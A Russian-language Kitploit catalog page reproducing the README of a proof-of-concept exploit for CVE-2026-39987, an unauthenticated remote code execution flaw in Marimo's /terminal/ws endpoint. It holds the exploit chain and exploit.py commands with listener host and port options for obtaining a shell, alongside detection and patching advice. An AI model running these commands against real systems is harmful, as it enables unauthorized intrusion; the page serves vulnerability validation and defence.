Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/th3purge/cve-2026-39987
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubth3purge/cve-2026-39987

CVE-2026-39987

Эксплойт proof-of-concept для CVE-2026-39987 — RCE без аутентификации в WebSocket-конечной точке терминала Marimo. Демонстрирует неаутентифицированное выполнение команд и включает проверочные тесты для уязвимых и пропатченных экземпляров.

Репозиторий
17 ч 18 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39987 Marimo Pre Authentication RCE


📋 Информация об уязвимости

СвойствоЗначение
CVECVE-2026-39987
ПродуктMarimo
УязвимостьУдалённое выполнение кода до аутентификации
Вектор атакиСеть
АутентификацияНе требуется
Взаимодействие с пользователемНе требуется
CWECWE-306 — Отсутствие аутентификации для критической функции
КритичностьКритическая
Исправленная версия0.23.0

CVE-2026-39987 — это критическая уязвимость удалённого выполнения кода (RCE) до аутентификации, затрагивающая Marimo — среду реактивных Python-ноутбуков. Уязвимость расположена в WebSocket-конечной точке терминала /terminal/ws.


🔍 Первопричина

Уязвимая конечная точка терминала создаёт интерактивный PTY после принятия WebSocket-соединения.

Концептуально поток уязвимого запроса выглядит так:

root@kitploit:~
Удалённый клиент
     |
     | WebSocket-соединение
     v
/terminal/ws
     |
     | Отсутствует проверка аутентификации
     v
WebSocket принят
     |
     v
PTY создан
     |
     v
Интерактивная оболочка

Ключевой границей безопасности является отсутствие проверки аутентификации.

Конечная точка, предоставляющая произвольное выполнение команд, не должна позволять неаутентифицированному клиенту достигать логики создания PTY.


🎯 Цель и область применения

Основная цель

Цель данного проекта — продемонстрировать в контролируемой среде отсутствие принудительной аутентификации, затрагивающее WebSocket-конечную точку терминала Marimo.

Группы безопасности могут использовать проект для:

  • Проверки доступности своих экземпляров Marimo
  • Проверки эффективности исправлений безопасности
  • Документирования потенциального влияния на безопасность
  • Улучшения защитных мер
  • Поддержки авторизованной валидации уязвимостей

Авторизованные среды

  • Лаборатории безопасности, принадлежащие тестировщику
  • Системы с явным письменным разрешением
  • Учебные и образовательные среды
  • Авторизованные тесты на проникновение и оценки безопасности

Предупреждение: Запускайте PoC только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.


🔗 Цепочка эксплуатации

Полная цепочка уязвимости может быть описана следующим образом:

root@kitploit:~
1. Злоумышленник обнаруживает доступный экземпляр Marimo
                |
                v
2. Злоумышленник подключается к /terminal/ws
                |
                v
3. Аутентификация не применяется
                |
                v
4. WebSocket-соединение принимается
                |
                v
5. Создаётся PTY-терминал
                |
                v
6. Злоумышленник получает выполнение команд
                |
                v
7. Команды выполняются от имени процесса Marimo

Критический сбой безопасности происходит на шаге 3.


📦 Установка

Требования

root@kitploit:~
Python 3.7+
pip
Сетевой доступ к авторизованной цели

Зависимости

root@kitploit:~
# Базовая установка
pip install websocket-client

# Полная установка
pip install websocket-client rich

Проверка

root@kitploit:~
python3 exploit.py --help

🚀 Руководство по использованию

Базовый синтаксис

root@kitploit:~
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>

Практические примеры

1. Локальный лабораторный тест

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. Авторизованный удалённый тест

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. Режим отладки

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 Справочник параметров

ПараметрТипОписаниеПо умолчанию
-u, --urlstringБазовый URL целевого экземпляра MarimoОбязательный
--lhoststringIP-адрес слушателяОбязательный
--lportintПорт слушателя (1-65535)Обязательный
--timeoutintТаймаут слушателя в секундах15
--retriesintПовторные попытки WebSocket-соединения3
--retry-delayfloatЗадержка между повторными попытками2.0
--no-verify-sslflagОтключить проверку SSL-сертификатовFalse
-v, --verboseflagВключить подробный выводFalse
-s, --silentflagПодавить выводFalse

🔄 Рабочий процесс эксплуатации

root@kitploit:~
Фаза 1: Инициализация
    ↓ Проверка параметров
    ↓ Настройка журналирования

Фаза 2: Подготовка
    ↓ Инициализация слушателя
    ↓ Установка WebSocket-соединения

Фаза 3: Валидация
    ↓ Тестирование конечной точки терминала
    ↓ Проверка принудительной аутентификации
    ↓ Фиксация поведения соединения

Фаза 4: Демонстрация
    ↓ Установка авторизованной тестовой сессии
    ↓ Проверка контекста выполнения команд
    ↓ Сбор доказательств валидации

Фаза 5: Очистка
    ↓ Восстановление состояния терминала
    ↓ Закрытие соединений
    ↓ Освобождение ресурсов

🧪 Тесты валидации

Сценарии тестирования

Уязвимый экземпляр

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Ожидаемый результат: Уязвимая конечная точка терминала принимает неаутентифицированное соединение.

Исправленный экземпляр

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Ожидаемый результат: Соединение отклоняется или иным образом блокируется механизмами аутентификации.

Тест таймаута

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

Ожидаемый результат: Таймаут корректно фиксируется.


📈 Статистика уязвимости

root@kitploit:~
Критичность:     Критическая (CVSS 9.3)
Сложность:       Низкая
Аутентификация:  Не требуется
Воздействие:     Удалённое выполнение кода
Протокол:        WebSocket
Конечная точка:  /terminal/ws
Исправленная версия: 0.23.0

Исходный README классифицирует проблему как CVSS 9.3 Critical и определяет CWE-306, WebSocket как протокол и /terminal/ws как затронутую конечную точку.


🔎 Обнаружение

Возможные индикаторы эксплуатации включают неожиданные WebSocket-соединения к:

root@kitploit:~
/terminal/ws

Защитникам следует расследовать:

  • Неожиданные соединения с WebSocket-конечной точкой терминала
  • Неожиданные процессы оболочки, порождённые Marimo
  • Подозрительные дочерние процессы
  • Неожиданные исходящие соединения
  • Доступ к чувствительным переменным окружения
  • Неожиданную активность файловой системы
  • Неизвестные команды, выполняемые процессом Marimo

🛡️ Устранение

Обновите Marimo до исправленной версии:

root@kitploit:~
0.23.0 или новее

Дополнительные рекомендации по защите включают:

  • Не открывайте Marimo напрямую в публичный Интернет без необходимости.
  • Размещайте сервисы ноутбуков за аутентифицированным обратным прокси.
  • Ограничьте сетевой доступ доверенными пользователями и сетями.
  • Запускайте Marimo с минимально необходимыми привилегиями.
  • Избегайте монтирования чувствительных каталогов хоста в контейнеры.
  • Ротируйте учётные данные, которые могли быть доступны скомпрометированным экземплярам.
  • Проверяйте журналы на подозрительную активность /terminal/ws.
  • Расследуйте потенциально скомпрометированные экземпляры, а не предполагайте, что только установка исправления устраняет сохраняющееся присутствие злоумышленника.

🔐 Классификация безопасности

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Критичность: Критическая
Тип:        RCE до аутентификации
Протокол:   WebSocket
Конечная точка: /terminal/ws
Аутентификация: Не требуется
Исправлено: 0.23.0

📄 Лицензия

ТОЛЬКО АВТОРИЗОВАННОЕ ИСПОЛЬЗОВАНИЕ

Данный проект предоставляется исключительно для:

  • Авторизованного тестирования безопасности
  • Академических исследований
  • Валидации уязвимостей
  • Обучения безопасности
  • Разработки защитных механизмов

Несанкционированное использование строго запрещено и может нарушать применимое местное и международное законодательство.


⚠️ Отказ от ответственности

Данный проект предоставляется для исследований безопасности, валидации уязвимостей и образовательных целей.

Не используйте PoC против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Сопровождающие не несут ответственности за неправомерное использование, несанкционированное тестирование, ущерб, потерю данных или любые последствия, возникшие в результате использования данного проекта.

Скачать инструмент